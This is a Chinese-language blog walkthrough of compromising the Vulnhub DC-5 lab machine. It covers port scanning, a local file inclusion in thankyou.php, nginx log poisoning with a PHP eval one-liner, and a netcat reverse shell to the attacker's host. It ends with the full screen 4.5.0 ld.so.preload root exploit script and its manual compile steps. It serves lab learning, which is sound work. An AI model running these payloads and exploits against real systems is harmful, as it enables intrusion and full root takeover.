Vulnhub DC-5靶机渗透

信息搜集

老样子,先找到靶机IP和扫描靶机
nmap -sP 192.168.146.0/24 #找靶机ip
nmap -sS -Pn -A 192.168.146.141 #扫描端口

这次开的是80、111端口,而不是22端口。

查一下rpcbind是什么。
rpcbind是一个RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解RPC就是一个中介服务。
尝试使用下面链接的方法收集信息,发现不可行。
https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb

直接访问web网站,扫描目录没什么发现。
但是contact us处,重复提交后有个很细微的变化。

再提交一次。

可以看到Copyright后的年份是不同的,这就很奇怪了。
猜测thankyou.php可能是包含了某个页面。fuzz一下,找到了正确的参数file参数,一下就找到了LFI(本地文件包含)漏洞。

getFlag

上面已经说找到了本地文件包含漏洞,那么我们就来利用一下。

直接伪协议走一波读thankyou.php的源码看看。
http://192.168.146.142/thankyou.php?file=php://filter/read=convert.base64-encode/resource=thankyou.php

base64解密一下,果然是直接include了一个文件。

现在就有思路了:include包含文件,会将文件内容当作php代码解析,那么就可以直接包含日志文件getshell。
但是这里要注意一点:如果使用浏览器直接构造的PHP一句话中,其中的特殊字符会被浏览器进行URL转义,导致无法getshell。

所以这里我们可以选择curl,或者直接抓包修改上传
curl -v "http://192.168.146.142/thankyou.php?file=<?php @eval($_POST\[A1oe\]);?>"或者

访问http://192.168.146.142/thankyou.php?file=/var/log/nginx/access.log

很好看来是解析了,直接蚁剑连上。

为了后续方便提权,反弹一个shell
nc 192.168.146.131 4444 -c /bin/bash

非交互式shell很难用,所以为了方便转换为交互式shell(可以得知该靶机装有python环境)
python -c 'import pty; pty.spawn("/bin/bash")'

接下来就该提权了,尝试使用suid提权。
find / -perm -u=s -type f 2>/dev/null

然后大概搜一下不大了解的命令,搜到screen命令时,可以看到它可以执行shell。

然后从这里入手,searchsploit直接搜一下有没有现成的利用工具。

看一眼这个sh脚本

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshellr

流程很简单,使用libhax.c生成一个动态链接库,再用rootshell.c生成一个获取权限的文件rootshell。然后用umask命令用来设置新建文件权限为777,然后就可以使用screen来提权了。

将这个脚本直接上传来执行,发现执行不了。

看来只能试试手动执行了。(libhax.c和rootshell.c上面的代码中有)

root@kali:~# vi libhax.c
root@kali:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c
root@kali:~# vi rootshell.c
root@kali:~# gcc -o rootshell rootshell.c

上传libhax.so和rootshell到靶机。(蚁剑直接拖进去或者nc传输文件)然后按照shell脚本中的顺序执行命令即可。


成功getFlag

总结

本次玩靶机,学习了泄露rpcbind信息的方法(虽然无法利用)。还有就是温习了下LFI漏洞,学习了下suid提权下的screen提权。其他基本都是老套路了。

posted @ 2020-03-21 21:14  A1oe  阅读(578)  评论(0编辑  收藏  举报